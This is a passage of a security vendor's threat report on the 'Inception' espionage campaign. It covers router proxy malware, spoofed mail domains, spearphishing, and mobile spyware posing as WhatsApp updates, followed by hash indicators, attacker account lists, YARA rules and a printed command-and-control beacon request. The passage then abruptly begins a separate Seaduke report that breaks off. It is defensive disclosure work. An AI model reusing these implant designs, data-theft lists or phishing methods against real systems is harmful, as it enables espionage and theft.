infrastructure. 28 Router malware Under the ramfs mounted partition we found a stripped and statically linked MIPS-el binary named tail-. Instances of this were also found under the running process list. tail- serves as a SOCKS proxy for the attackers. Each sample of the binary we were able to acquire was configured with a unique 32byte blowfish key and a small, encrypted section appended to the end of the binary. Upon execution the binary uses its hardcoded key to decrypt the configuration section and retrieve the listening port to use for incoming connections. This acts as a management interface. From here the attackers can request a specific port to be opened as one of the following types: SOCKET, SOCKSS, SOCKAT, SOCKS5, or STATUSPORT. To prevent anyone else from accessing this service all communication on the management interface is encrypted using the same blowfish key. This means that the attackers must maintain a list of where each of these implants are installed, as well as what port and key each is configured to use. This setup makes it difficult to identify embedded devices compromised with this malware by scanning open ports. In the wild we witnessed the attackers connect to the management port and request SOCKSS connections. This would open the specified port and wait for configuration data, which consists of a domain name (webdav.cloudme.com), the destination port, and a variable length RC4 key, all of which encrypted using the blowfish key. Once received the malware would attempt to connect to the domain name on the specified port and would start tunneling all traffic received from the SOCKSS port to the destination and vise-versa. The communication between the attacker and the SOCKSS is encoded using the RC4 key. The graphic below illustrates a typical session. 29 Additional servers The router proxy network provides another layer of indirection masking the attackers infrastructure. However, because we captured traffic through one of these embedded devices we could identify other parts of their operation. We identified four IP addresses that connected to the proxy malware: Cloud enumerator: Apparently a rented server at AS34224 NETERRA-AS, Bulgaria This host belongs to a Bulgarian VPS service and would use the router proxy to connect to webdav.cloudme.com. This host does all scanning of webdav shares for stolen user data, and also uploads new malware components. Health checker: Apparently a rented server at AS5577 ROOT root SA, Luxembourg. This IP would make connections hourly and poll the status of the router proxy malware. This machine is most likely used to track which compromised routers are currently available for use.
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Unlocker: Apparently a rented server at AS52048 DATACLUB DataClub S.A. Latvia.
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Unlocker: Apparently a rented server at AS52048 DATACLUB DataClub S.A. Latvia. Traffic from this IP had a very specific purpose: It unlocked routers for proxying in connection with the sending of phishing emails. In the wild we observed this IP connect to our router on the malware management port and specify a SOCKSS proxy port to be opened. Immediately after, the newly opened port would be connected to by another IP and used to send phishing emails with malicious attachments. However, later we observed that the Email sender IP at VOLIA vanished and the Unlocker server taking over its role as well. Email sender: An IP at AS25229 VOLIA-AS, Ukraine. Possibly a compromised host. After a router SOCKSS port was opened by Unlocker, this IP would connect to the opened port and tunnel its email traffic through the router. Each of these connections used the correct encryption key, so we know that these accesses came from the attackers and not some opportunistic third party. 30 Mail proxies: Through our router monitoring we identified two mail proxies used by the attackers. We were later notified by Symantec (thanks, guys) about a third. These servers were hosted on domains that were registered by the attackers, using domain names clearly meant to look legitimate. This is the only time we have seen attackers register domains in this investigation. The mail proxies were: haarmannsi.cz : Spoof of the legitimate domain haarmannsi.com sanygroup.co.uk : Spoof of the legitimate domain sanygroup.com ecolines.es : Spoof of the legitimate domain ecolines.net Registrant WHOIS information seems forged: haarmannsi.cz name: Sanyi TERRAS address: R. FREI CANECA 1120 SAO PAULO 01307-003 BR e-mail: sanyi_terrasoutlook.com created: 12.06.2014 NS: ns.frankdomains.com sanygroup.co.uk: name: Alan address: Uddmansgatan 13 Pitea Norrbottenaln 94471 SE created: 06.05.2014 NS: ns.domains4bitcoins.com ecolines.es: name: Lyisa Almeida address: N/A created: 04.06.2014 NS: ns.frankdomains.com . 31 Observed phishing emails The connections made from the Ukrainian host to the router were interesting. After being proxied though the router, each of these would authenticate with one of the dedicated mail proxies and send out phishing attacks. From captured traffic it appears that the mail proxies have SOCKSv5 services running on obscure high ports. We have documented that the attackers log in to these using apparently randomly generated usernames and passwords, a unique pair for each server. The mail proxy would then relay the spearphishing mail as seen below. Above: Captured SMTP session, sending the malicious attachment MQ1474.doc This way the attack can be mistaken to come from legitimate businesses and trusted organizations. In some cases the organization from which the phishing email originates would appear to be a known associate to the target. 32 The email shown above was one of a number of messages sent to targets in the oil industry. Investigating the target email addresses, we saw several of these were found in this public document from the World Petroleum Council, including some addresses that are, at the present time, no longer valid. And then, the ground shifted again. 33 PART III: Attacks on mobile devices 34 One of the spearphishing mails we observed coming through the router network was this one, sent to an address under the gov.py (Government of Paraguay) domain. Get WhatsApp now for your iPhone, Android, BlackBerry or Windows Phone There was no executable attachment in this mail, but instead a link shortened by the URL shortener service bit.ly, with the underlying link pointing to an IP address on a Dutch hosting service. Clicking that link from a Windows PC only yielded a redirection to the BBC homepages, and using other devices did not give more data. The bit.ly service does however provide information on the user creating the shortened link, and other links associated with this account. In this case, the user was named nicolatesla53. 35 The nicolatesla53 bit.ly profile page The nicolatesla53 account was created in July 2014. From Oct 24th to Nov 21st this user created nearly 10000 shortened links we harvested 9990 unique ones. Three IP addresses were used for these links: 82.221.100.55 82.221.100.60 94.102.50.60 The links themselves were on this format: http://server_ip/page/index?idtarget_identifiertype2action_code As far as we were able to tell, there were three main types of action_code: 743 : Serve malware disguised as WhatsApp updates 1024 : Serve malware disguised as Viber updates other : Serve MMS phishing content. The code identifies mobile operator and determines which logo will be displayed when the user follows the link. 36 MMS Phishing We have no sample of the actual MMS phishing messages apparently being sent, but we can see the page served when a user clicks a spammed link. This is just a dialogue box asking for the password presumably included in the initial message, and the next stage likely involves download of malicious content. The password screen for action code 16611 (TELE2) We were in the middle of harvesting the servers for data on the various action codes when they all were abruptly taken offline so our data on which mobile operators are targeted is not complete. We managed to get 66 of a total of 190. The ones we know of are shown below. A full breakdown of mobile operators and related links is included in the appendix. 37 The composition of links created for the various mobile operators is quite interesting, as one can speculate that they represent amount of actual or planned attacks in different countries. With the top three operators being Vodafone, T- Mobile and Proximus (Belgacom) it seems these apparent phishing attacks are less focused on the Russian sphere than the previously discussed malware. This map is not complete, though. It represents only about 35 (66/190) of all mobile operators targeted and 66 (3152/4781) of all phishing links we managed to harvest. In addition, some operators like Vodafone are global actors, so the map might show an unfair intensity in their HQ locations. MMS phishing heat map The rest of the bit.ly links used the action codes 743 or 1024. And now things really get interesting. By using mobile device HTTP User-Agents we were able to trigger downloads of malware components from some of these links. 38 Mobile malware: Android Accessing the link from an Android User-Agent initiated a download of an Android installer package named WhatsAppUpdate.apk. The package we analyzed was 1.2MB in size. The apparent main purpose of this malware is to record phone call audio. Recordings are stored as .mp4 files, and uploaded to the attackers periodically. The malware is able to collect a lot of other information, not all of which is actually used: Account data Location Contacts External and Internal Storage (files written) Audio (microphone) Outgoing calls Incoming calls Call log Calendar Browser bookmarks Incoming SMS Through the encrypted CC protocol, the attackers can issue commands and binary updates to the malware. It uses a custom DAO/Database scheme which uses accounts belonging to the virtual community Live Journal (livejournal.com) as data stores. Three such accounts were found hardcoded in the package: The accounts all state that they belong to Iranian users. This is very likely false. 39 The text in these posts starts first out in cleartext, but quickly turns into unreadable gibberish. The HTML source code reveals that the encoded portion is encapsulated in blog-index tags: The three accounts contain different configuration blocks pointing to CC servers apparently located in Poland, Germany and Russia, respectively. Based on registration data and folder configuration we believe these are legitimate but compromised Joomla servers. And then an unexpected oddity shows up in the Java source: The sign in front of SizeRandomStr is Truti - a Hindi word meaning Error. 40 We were also able to download a similar malware sample (BrowserUpdate.apk) from one of the CC servers. This sample used different online accounts for its DAO/database functionality, but is otherwise quite similar to the first. 41 Mobile malware: Apple IOS Using an IOS User-Agent triggered the download of a Debian installer package, WhatsAppUpdate.deb, also 1.2Mb in size. This application impersonates a Cydia installer, and can only be installed on a jailbroken phone. Once installed, it may collect Device platform, name, model, system name, system version ICCID Users address book Roaming status Phone number Carrierbundlename Iso country name Carrier name Wifi status MAC address Device battery level Free and total space Cpu frequency and count Total and user memory Maxsocketbuffersize Language local identifier and language display name Default and local time zone Account data: AccountAvailableServiceTypes, AccountKind, AccountSocialEnabled, etc AppleID CreditDisplayString DSPersonID IOS specific data ex LastBackupComputerName, LastBackupComputerType, iTunes.store-UserName, iTunes.store- downloaded-apps etc. 42 These data are encrypted and uploaded to an FTP account which is taken from an encrypted configuration file named /usr/bin/cores. In this particular case, the FTP account is located on a legitimate (if struggling) hosting service in the UK. In this case, theres another clue: The project path in the package contains the name JohnClerk. The WhatsAppUpdate project seems derived from an earlier template named SkypeUpdate. 43 Mobile malware: Blackberry By now, it came as no surprise when we triggered a download with a BlackBerry User-Agent. The initial download was a Java Applications Descriptor, a text file designed for Over-The-Air installation of Java-based applications. This JAD file contained the locations of the two Blackberry .COD binaries which we then could download directly. The application impersonates a settings utility. This collects: deviceName, manufacturerName platformVersion, softwareVersion brandVendorId, brandVersion total and free flash size of the device amount of memory/storage already allocated ownerName, ownerInformation Phone mumber PIN IMSI IMEI mcc and mnc (Mobile Carrier ID) cellID Location area code isPasswordEnabled Battery data (level, temperature, voltage, etc) Installed applications Address book APChannel Connected Network Type BSSID DataRate Profile Name RadioBand SecurityCategory SignalLevel SSID Collected data will be uploaded to a DynDNS domain currently hosted on a US webhosting service. 44 God_Save_The_Queen is used as a reference in one of the Blackberry binaries. Since these COD files are also compiled Java code, they are possible to decompile to original source code. In a similar fashion to the Android version, we find interesting strings there. This time they are in Arabic: Reading files in Arabic 45 PART IV: Attribution 46 Timelines and activity patterns The earliest sample of Inception-related malware we have been able to obtain, was submitted to us in June 2014. However, decoy document metadata shows that it was created late May. The related cloud account was created just before that. An examination of the other documents associated with the attacks show that they have been created at a steady pace all through summer and autumn 2014 and attacks are still ongoing. Of interest is also the attackers activity patterns over the 24h cycle. The main upload of new components to shares seems to be divided over two highactivity periods: 6:00 -10:00 UTC and 17:00 - 21:00 UTC. No uploads were seen between 23:00 and 05:00 UTC. It is however doubtful how indicative these timeframes are. To illustrate, we looked into another and more obscure timing factor: The timing of the AES InitVector random seeds. A random seed is the initial value passed into a pseudo-randomizer function. The malware uses the random output to create what is known as an InitVector - a starting point for the AES encryption/decryption function. The code used in some of the DLLs indicate that the attackers tend to use the C time() function to generate random seeds. This function returns values of granularity down to seconds. Thus random seeds, and ultimately the InitVectors, are functions of these quite coarse units of time. The encrypted files uploaded to the WebDAV shares come with their InitVectors stored at the end of the file. Since we know the time window to be within a few days of the upload time we were able to brute force the time values that would generate the corresponding InitVectors. Thus, we were able to say to the second when the file was created and most times were identified to be in the range 1500 - 2200 GMT. Unfortunately, we had to reject these data. The file creation times turned out to be hours after the files themselves were uploaded to the WebDAV share. Either the attackers system clock is wrong or a fixed offset is added to the random seed. Either way, the data cant be trusted and shows that nothing can be taken at face value. 47 The Chinese connection On at least two occasions during our surveillance of the Inception framework, the malware downloaded something unexpected and wholly different from what we have discussed until now. These files were downloaded as encrypted .bin files from the accounts carter0648 and frogs6352. When decrypted, these turned out to be dropper packages containing one dropper executable clearly created for the Inception framework, and one other, very different executable. This executable, (sccm.exe, md5 dd8790455109497d49c2fa2442cf16f7) is a classical Chinese APT implant. It is a downloader and remote shell program, designed to connect to a CC server to interact with the attacker and/or download more malware. The CC server in this case is ict32.msname.org. When connecting to this server, sccm.exe issues the following request: This CC domain is used by many other malwares related to sccm.exe some of which share obvious connections to the Quarian malware family, a known APT intrusion tool. This development was unexpected for several reasons. First of all, it apparently breaks the strict, obfuscatory operational security built into the Inception framework. Inception has the capacity to perform all steps needed for scouting out and exfiltrating data without resorting to traditional hosted command control. By using a well-understood APT tool and a known malicious CC domain name, the attackers permit much clearer attribution. POST /check.jsp HTTP/1.1 Accept: /..Accept-Language:en-us Content-Type: application/octet-stream Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1) Host: www.antivir.com Content-Length: 8 Connection: Keep-Alive Cache-Control: no-cache 48 Another factor which is out of character is the coding style. All Inception-related malware is written using Visual Studio 2010. The downloaded sccm.exe is written using Visual C 6 and has a PE header compile date of October 2010. This date can be forged, and indeed, all Inception-related malware has some level of forgery in the compile dates. However, the sccm.exe compile date matches the Quarian developer toolset and coding style to a better degree than the other files distributed through Inception. Then there is the CC domain used. According to DomainTools.com the msname.org domain registration timed out September 27th 2014. It was left inactive and was not renewed until Nov 12th. This means that the attackers distributed malware that would be out of action for a long time (last distribution of sccm.exe was September 26th). Because of all this we consider sccm.exe as an unreliable indicator. It is likely to be a red herring purposefully placed on shares where the attackers have seen signs of access by security researchers. An odd indicator At one instance the attackers seem to have slipped up. Instead of using their scheduled task, they apparently did something manually on a WebDAV share. This is visible because the request came from an apparent attacker IP, but used yet another User-Agent: gvfs/1.12.3. Gvfs is the virtual filesystem for Gnome desktop. The action on the account was abnormal as well an apparent file upload: 83.53.147.144 - - [02/Sep/2014:09:53:56 0200] PUT /tem5842/Documento20sin20tC3ADtulo HTTP/1.1 408 0 - gvfs/1.12.3 Documento sin ttulo means Untitled document in Spanish. When WebDAV shares are mapped up as drives by the operating system, any action taken by the attacker follows the same pattern as on the attackers local drive. In the case above, it seems the attacker attempted to edit a new document, which by default is given the name Untitled document in Gnome. This might indicate that the attackers operating system language is Spanish. Of course, Spanish is one of the worlds most widespread languages, so one cannot infer much from this. There is even a small possibility that the phenomenon is a pure artifact for example that a Spanish-speaking researcher connected to the same account using the same Linux-based setup as the attackers. 49 Similarities with Red October This attack system shares a number of properties that are somewhat similar with the Red October campaigns detailed by Kaspersky Labs in 2013. For more information about this see: The Red October Campaign - An Advanced Cyber Espionage Network Targeting Diplomatic and Government Agencies - Target countries and verticals overlap to some extent - The topics of some decoy documents are the same (eg. Diplomatic Car for sale) - Similar overall loading architecture, with dropping of encrypted binaries that are later decrypted and loaded - Exploited documents contain certain similarities (i.e. the magic string PTT used as a marker to locate the shellcode) However, there are also clear differences. The code is fully rewritten there appears to be little code overlap, at least in the initial stage malware. The coding style is different, with different solutions to programmatic problems, different use of exception handling, and different use of C classes. Its hard to believe that the same programmers are responsible for the two code bases. The Red October malware contained linguistic markers that pointed towards Russian speaking attackers. No such clues have been found in the Inception- related malware there is a marked difference in the attention to detail and information leakage. It is certainly possible that the same people have organized both Inception and Red October, but there are no clear indications to this effect. https://securelist.com/blog/incidents/57647/the-red-october-campaign/ https://securelist.com/blog/incidents/57647/the-red-october-campaign/ 50 Strings in malware The Windows-based malware in this paper generally contains very few noticeable strings apart from what is commonly found in software, and clearly randomized strings. What exists like the word polymorphed in the early DLL versions - is standard English with few discerning features. This changes a bit when we look at the mobile malware. In the Android malware we find Hindi comments in the Java source code. In the Iphone malware we find project paths referencing one JohnClerk, and a few typos like conutry. In one of the Blackberry binaries we find the string God_Save_The_Queen, a rather blunt hint towards Britain, as well as Arabic log strings. These and other indicators have led us to conclude that the Inception attackers are setting a new standard for deliberate disinformation and red herrings in a malware espionage operation. Some clues might have been added by accident, but none of these indicators can be trusted in any way. Thus we are not going to assume anything about who might be behind these attacks. 51 Conclusion The whole Inception setup shows signs of automation and seasoned programming. The amount of layers used in this scheme to protect the payload of their attack seems excessively paranoid. Not only is the initial DLL apparently polymorphed using some backend tool the compile time stamps in the PE header are clearly forged, resources are removed so as not to give away any location information, and import tables are shuffled around, rendering import hashes (aka imphashes) useless. The names of the files both when dropped and their original names along with the callback directories, paths and mutexes used all seem to be dynamically generated. The attackers utilize compromised embedded devices typically routers- on the Internet as well as multiple dedicated hosting providers and VPN services to mask their identity from the cloud storage provider and others. The same router botnet is used as a spreading and management platform for attacks on mobile devices as well. This suggests that this a large campaign and weve only seeing the beginning of it. Initially many of the targets were located in Russia or related to Russian interests, but as the campaign has evolved we have verified targets in countries all over the world. It is clear that this infrastructure model does not need to be applied solely against a few targets, or even need to be hosted at CloudMe. The framework is generic, and will work as an attack platform for a multitude of purposes with very little modification. The attribution indicators point in different directions and cant be given much weight. These attacks can in theory be the creation of nation states or resourceful private entities - we consider it very unlikely that they are performed by one or just a few individuals. 2014 Blue Coat Systems, Inc. All rights reserved. Blue Coat, the Blue Coat logos, ProxySG, PacketShaper, CacheFlow, IntelligenceCenter, CacheEOS, CachePulse, Crossbeam, K9, the K9 logo, DRTR, Mach5, Packetwise, Policycenter, ProxyAV, ProxyClient, SGOs, WebPulse, Solera Networks, the Solera Networks logos, DeepSee, See Everything. Know Everything., Security Empowers Business, and BlueTouch are registered trademarks or trademarks of Blue Coat Systems, Inc. or its affiliates in the U.S. and certain other countries. This list may not be complete, and the absence of a trademark from this list does not mean it is not a trademark of Blue Coat or that Blue Coat has stopped using the trademark. All other trademarks mentioned in this document owned by third parties are the property of their respective owners. This document is for informational purposes only. Blue Coat makes no warranties, express, implied, or statutory, as to the information in this document. 52 APPENDIX: Exploited RTF sample md5s: 0a0f5a4556c2a536ae7b81c14917ec98 19ad782b0c58037b60351780b0f43e43 20c2a4db77aabec46750878499c15354 23d6fabda409d7fc570c2238c5487a90 3ff9c9e3228b630b8a68a05d6c3e396d 4624da84cae0f8b689169e24be8f7410 4a4874fa5217a8523bf4d1954efb26ef 4dcdc1110d87e91cda19801755d0bcf2 516a514bf744efb5e74839ddaf02a540 5e3ecfd7928822f67fbb3cd9c83be841 685d9341228f18b0fd7373b7088e56a7 822d842704596a2cf918863ea2116633 8488303c2a0065d9ac8b5fecf1cb4fc9 8997d23b3d1bd96b596baee810333897 8cd5974a49a9d6c49294312bf09f64ed 9738faf227bcd12bcab577a0fb58744d bc196dc8a14484e700169e1a78cf879e b453ec7fd92bee23846ff36bf903ddc0 2fcbea8a344137421a86b046a6840265 Dropped first-stage DLLs 0bd0fd3cbbcfddc4048228ce08ca26c2 0bda50e05d575446de55d50c631afb53 0f12614fa7a9bf7bcc951eec7b78658d 2f9ca7680ec0945455988d91d9b325f8 352da994d867eb68a178bb7f2fb672bc 3a4a9d26c9c3c8d0fd697b036216319e 43587e5fcf6770259026ec2ca6f41aa6 4628082e11c75b078ff0465523598040 554d4c4da2e3603282b097b0e68ad11a 670ac2e315088d22b2cb92acffc3e997 71bdd14cbc96badb79dfb0f23c52a9ee 72f020b564bc9771e7efe203881f5ef9 80a7883c33a60b4c0178c9c8fb7d1440 84fa976d9ed693668b3f97d991da0e97 89d851cbd2dc1988bb053235414f8928 a5aeda357ba30d87c1187b644baad8a0 c3f2fb7840228924e5af17787e163e07 d007616dd3b2d52c30c0ebb0937e21b4 d171db37ef28f42740644f4028bcf727 d3886495935438f4a130d217d84ae8cb ea0d80db2075f789fc88c3fdf6e3d93e 53 f2840be535fbaf8b15470d61967d527b 90c93c9b80bbf31dce8434a565a0ec7b 54 Downloaded second-stage plugins: 5c3de5b2762f4c5f91affaa6bcadd21b 86b2372297619b1a9d8ad5acdf1a6467 43112e09240caebb3c72855c9f6fc9e5 Downloaded Chinese malware, sccm.exe: dd8790455109497d49c2fa2442cf16f7 Router proxy malware: a6b2ce1cc02c902ba6374210faf786a3 83b383884405190683d748f4a95f48d4 62fc46151cfe1e57a8fa00065bde57b0 036fbc5bffd664bc369b467f9874fac4 488e54526aa45a47f7974b4c84c1469a 24a9bbb0d4418d97d9050a3dd085a188 b0c2466feb24519c133ee04748ff293f 62dc87d1d6b99ae2818a34932877c0a4 7c6727b173086df15aa1ca15f1572b3f 80528b1c4485eb1f4a306cff768151c5 e1d51aa28159c25121476ffe5f2fc692 Android malware: 046a3e7c376ba4b6eb21846db9fc02df b0d1e42d342e56bc0d20627a7ef1f612 IOS malware (WhatsAppUpdate.deb): 4e037e1e945e9ad4772430272512831c Blackberry malware: 0fb60461d67cd4008e55feceeda0ee71 60dac48e555d139e29edaec41c85e2b4 55 Verified malicious CloudMe accounts (based on malware): garristone franko7046 sanmorinostar tem5842 bimm4276 carter0648 depp3353 frogs6352 daw0996 chak2488 corn6814 james9611 lisa.walker billder1405 droll5587 samantha2064 chloe7400 browner8674935 parker2339915 young0498814 hurris4124867 Likely malicious CloudMe accounts (based on access patterns): adams2350 adison8845 allan1252 altbrot amandarizweit anderson9357 astanaforse baker6737 bear9126 bell0314 betty.swon brown7169 brown7356 button8437 carter0648 carter3361 clark6821 collins2980 cook2677 cooper2999 cooper7271 cox7457 cruz3540 david.miller depp3353 diaz1365 din8864 evans0198 farrel0829 ferrary2507 ferre7053 flores5975 fox0485 frog0722 gabriel.gonzalez garsia7871 gray7631 great2697 green3287 helen.scott helenarix hill5289 jackson4996 james9521 john.thompson kalo3113 kas2114 kenneth.wilson king7460 kol8184 klauseroi ksjdkljeijd lariopas lopez9524 lorrens6997 martinez4502 miller8350 minesota1459 moore6562 moore7529 morris9351 morris9461 murphy5975 nedola7067 nelson0000 ninazer norbinov nul7782 parker0519 poulokoel pourater red6039 red6247 reed6865 roges2913 roi5991 ronald.campbell rosse2681 samantares scott5008 sebastianturne swon5826 taylor9297 tem5842 thirt1353 thomas9521 thomson3474 turner3027 vasabilas visteproi voldemarton wer8012 white3946 william.moore wilson2821 wilson2905 wonder7165 wrong8717 56 Bit.ly-shortened MMS phishing links: Action Code Operator HQ location Links created 95501 Vodafone UK 270 81825 T-Mobile Germany 213 66968 Proximus Belgium 197 67840 China Mobile China 173 98491 Zain Saudi Arabia 126 58129 Mobilkom (A1 Telekom) Austria 124 12081 Orange France 124 24806 Hamrah-e-Avval Iran 111 41967 Mobilnil Egypt 105 46736 TeliaSonera Sweden 100 13911 Mobistar Belgium 78 65842 O2 UK, Germany 78 70887 Telcomsel Indonesia 74 98455 Kcell Kazakhstan 74 94382 Mobilink Pakistan 72 12988 Airtel India 65 52378 Vodacom South Africa 63 99578 Maxis Malaysia 59 90298 Swisscom Switzerland 59 86791 Wind Mobile Canada 56 21522 MTN South Africa 56 26059 MTS Russia 55 67838 Alfa Lebanon 51 96735 Kyivstar Ukraine 51 99753 T-Mobile Germany 50 24906 Omnitel Lithuania 48 17150 MtcTouch Lebanon 43 53272 Ooredoo Qatar 36 77008 BASE Belgium 33 31756 Djezzy Algeria 29 14269 Beeline Russia 29 76587 Omantel Oman 28 44974 Velcom Belarus 27 77849 E-plus Germany 26 76102 Celcom Malaysia 26 31021 Azercell Azerbaijan 24 16611 TELE2 Sweden 24 18675 Mobifone Vietnam 22 65942 T-Mobile Germany 20 85993 Sudatel Sudan 20 65090 Diallog Belarus 19 61384 Ufone Pakistan 19 11426 TMCell Turkmenistan 19 58043 Globe Philippines 18 70102 SingTel Singapore 18 90374 Avea Turkey 18 57464 DiGi Malaysia 16 77995 Megacom Kyrgyzstan 15 27964 Warid Pakistan 11 57 15029 DSTCom Brunei 10 70959 Smart Cambodia 10 83722 Asiacell Iraq 10 97143 Maroc Telecom Morocco 9 25786 Magti Georgia 6 34659 Geocell Georgia 6 56167 Bakcell Azerbaijan 5 42397 Dhiraagu Maldives 5 54375 Telfort Netherlands 5 43142 Banglalink Bangladesh 2 90128 EMT Estonia 2 24709 MTNL India 2 92444 Safaricom Kenya 2 60354 Plus Poland 2 84899 Sabafon Yemen 2 14115 Sri Lanka Telecom Sri Lanka 1 42758 Lycamobile UK 1 58 Undetermined MMS phishing action codes (code, number of links): 13975 320 54780 12 14659 3 19343 1 51557 119 92529 11 16814 3 20732 1 37020 88 61135 10 20247 3 25938 1 11111 71 89838 10 24037 3 26346 1 61925 64 44638 9 27307 3 26842 1 91130 63 60007 9 31785 3 27758 1 91200 58 67648 9 37629 3 30053 1 79711 47 72371 9 49284 3 36962 1 43312 42 96565 9 54512 3 37477 1 75687 37 99094 9 68798 3 37686 1 81544 37 24483 8 79286 3 38686 1 51949 29 46127 8 85076 3 40606 1 23562 28 55223 8 94046 3 42067 1 96780 25 99061 7 11468 2 50935 1 72026 24 20470 6 20460 2 52833 1 78098 23 22798 6 25559 2 55991 1 96878 20 32331 6 41075 2 59635 1 18986 19 40772 6 45834 2 65025 1 21782 19 52741 6 57403 2 65414 1 57673 18 63095 6 65855 2 66185 1 62088 18 70610 6 71103 2 67120 1 37267 16 92826 6 71633 2 74336 1 40019 16 25387 5 75778 2 74800 1 46681 15 69153 5 77776 2 75906 1 47390 15 72564 5 80209 2 89027 1 22775 14 24122 4 91062 2 89675 1 80998 14 47240 4 91212 2 90962 1 98758 14 76002 4 91869 2 91774 1 36942 13 82852 4 13335 1 94776 1 93620 13 83478 4 15318 1 98886 1 97276 13 97561 4 16155 1 59 Attacker-owned domains: haarmannsi.cz sanygroup.co.uk ecolines.es blackberry-support.herokuapp.com (DynDNS) 60 YARA detection rules: rule InceptionDLL meta: author Blue Coat Systems, Inc info Used by unknown APT actors: Inception strings: a dll.polymorphed.dll b 83 7d 08 00 0f 84 cf 00 00 00 83 7d 0c 00 0f 84 c5 00 00 00 83 7d 10 00 0f 84 bb 00 00 00 83 7d 14 08 0f 82 b1 00 00 00 c7 45 fc 00 00 00 00 8b 45 10 89 45 dc 68 00 00 c FF 15 ?? ?? ?? ? ? 8B 4D 08 8B 11 C7 42 14 00 00 00 00 8B 45 08 8B 08 8B 55 14 89 51 18 8B 45 08 8B 08 8B 55 0C 89 51 1C 8B 45 08 8B 08 8B 55 10 89 51 20 8B 45 08 8B 08 d 68 10 27 00 00 FF 15 ?? ?? ?? ? ? 83 7D CC 0A 0F 8D 47 01 00 00 83 7D D0 00 0F 85 3D 01 00 00 6A 20 6A 00 8D 4D D4 51 E8 ?? ?? ?? ? ? 83 C4 0C 8B 55 08 89 55 E8 C7 45 D8 e 55 8B EC 8B 45 08 8B 88 AC 23 03 00 51 8B 55 0C 52 8B 45 0C 8B 48 04 FF D1 83 C4 08 8B 55 08 8B 82 14 BB 03 00 50 8B 4D 0C 51 8B 55 0C 8B 42 04 condition: any of them rule InceptionRTF meta: author Blue Coat Systems, Inc info Used by unknown APT actors: Inception strings: a PTT b XMLVERSION \3.1.11.5604.5606 c objclass Word. Document.12\\objw9355 condition: all of them rule InceptionMips meta: author Blue Coat Systems, Inc info Used by unknown APT actors: Inception strings: a start_sockat ascii wide b start_sockss ascii wide c 13CStatusServer ascii wide condition: all of them 61 rule InceptionVBS meta: author Blue Coat Systems, Inc info Used by unknown APT actors: Inception strings: a c Crypt(c,k) b fso. BuildPath( WshShell. ExpandEnvironmentStrings(a), nn) condition: all of them rule InceptionBlackberry meta: author Blue Coat Systems, Inc info Used by unknown APT actors: Inception strings: a1 POSTALCODE: a2 SecurityCategory: a3 amount of free flash: a4 711: b1 God_Save_The_Queen b2 UrlBlog condition: all of (a) or all of (b) rule InceptionAndroid meta: author Blue Coat Systems, Inc info Used by unknown APT actors: Inception strings: a1 BLOGS AVAILABLE a2 blog-index a3 Cant create dex condition: all of them rule InceptionIOS meta: author Blue Coat Systems, Inc info Used by unknown APT actors: Inception strings: a1 Developer/iOS/JohnClerk/ b1 SkypeUpdate b2 /Syscat/ b3 WhatsAppUpdate condition: a1 and any of (b) 62 Acknowledgements The following entities have helped in big and small ways. Big thanks to all. CIRCL.LU Crowdstrike F-Secure Corporation iSight Partners Kaspersky Labs Symantec Corporation We also owe a big debt of gratitude to Ryan W. Smith of Blue Coat who helped us tremendously with the analysis of the mobile malware. Whitepaper: The Inception Framework: Cloud-hosted APT By Snorre Fagerland and Waylon Grange Blue Coat Systems, Inc PART I: CloudMe PART II: Support infrastructure PART III: Attacks on mobile devices PART IV: Attribution Forkmeiamfamous: Seaduke, latest weapon in the Duke armory Low-profile information-stealing Trojan is used only against high- value targets. Symantec has uncovered an elusive Trojan used by the cyberespionage group behind the Duke family of malware. Seaduke (detected by Symantec as Trojan. Seaduke) is a low-profile information- stealing Trojan which appears to be reserved for attacks against a small number of high-value targets. Seaduke has been used in attacks against a number of major, government-level targets. The malware hides behind numerous layers of encryption and obfuscation and is capable of quietly stealing and exfiltrating sensitive information such as email from the victims computer. Seaduke has a highly configurable framework and Symantec has already found hundreds of different configurations on compromised networks. Its creators are likely to have spent a considerable amount of time and resources in preparing these attacks and the malware has been deployed against a number of high-level government targets. While the Duke group began to distribute Cozyduke in an increasingly aggressive manner, Seaduke installations were reserved only for select targets. Seaduke victims are generally first infected with Cozyduke and, if the computer appears to be a target of interest, the operators will install Seaduke. Background The group behind Seaduke is a cyberespionage operation that is responsible for a series of attacks against high-profile individuals and organizations in government, international policy and private research in the United States and Europe. It has a range of malware tools at its disposal, known as the Dukes, including Cozyduke (Trojan. Cozer), Miniduke (Backdoor. Miniduke) and Cosmicduke (Backdoor. Tinybaron). News of the Duke group first emerged in March and April of 2015, when reports detailing attacks involving a sophisticated threat actor variously called Office Monkeys, EuroAPT, Cozy Bear, and Cozyduke were published. Symantec believes that this group has a history of compromising governmental and diplomatic organizations since at least 2010. The group began its current campaign as early as March 2014, when Trojan. Cozer (aka Cozyduke) was identified on the network of a private research institute in Washington, D.C. In the months that followed, the Duke group began to target victims with Office Monkeys- and eFax-themed emails, booby-trapped with a Cozyduke payload. These tactics were atypical of a cyberespionage group. Its quite likely these themes were deliberately chosen to act as a smokescreen, hiding the true intent of the adversary. Figure 1. Cozyduke campaign used an Office Monkeys video as a lureJuly 2014 The Duke group has mounted an extended campaign targeting high-profile networks over extended periods, something which is far beyond the reach of the majority of threat actors. Its capabilities include: Attack infrastructure leveraging hundreds of compromised websites Rapidly developed malware frameworks in concurrent use Sophisticated operators with fine-tuned computer network exploitation (CNE) skills Although Cozyduke activity was first identified in March 2014, it wasnt until July that the group managed to successfully compromise high-profile government networks. Cozyduke was used throughout these attacks to harvest and exfiltrate sensitive information to the attackers. In parallel, the Duke group was also installing separate malware onto these networks, namely Backdoor. Miniduke and the more elusive Trojan. Seaduke. It could use these payloads to exploit networks on multiple fronts and providing it with additional persistence mechanisms. The Miniduke payload In July of 2014, the group instructed Cozyduke-infected computers to install Backdoor. Miniduke onto a compromised network. Miniduke has been the groups tool of choice for a number of years in espionage operations predominantly targeting government and diplomatic entities in Eastern Europe and ex-Soviet states. Nemesis Gemina appears to be the internal name for the framework used by the group to identify the project, previously reported by Kaspersky. The following debug string was present in the sample used in these attacks: C:\Projects\nemesis-gemina\nemesis\bin\carriers\ezlzma_x86_exe.pdb This project name has been seen in Backdoor. Tinybaron (aka Cosmicduke) samples, which Symantec also attributes to the Duke group. This deployment of Miniduke and the technical similarities with Cozyduke provided strong indicators as to who was behind the attacks. The Seaduke payload These attacks were already well underway when another group began to deploy a previously unknown piece of malware. In October 2014, the Seaduke payload began to appear within target networks. Although Seaduke was developed 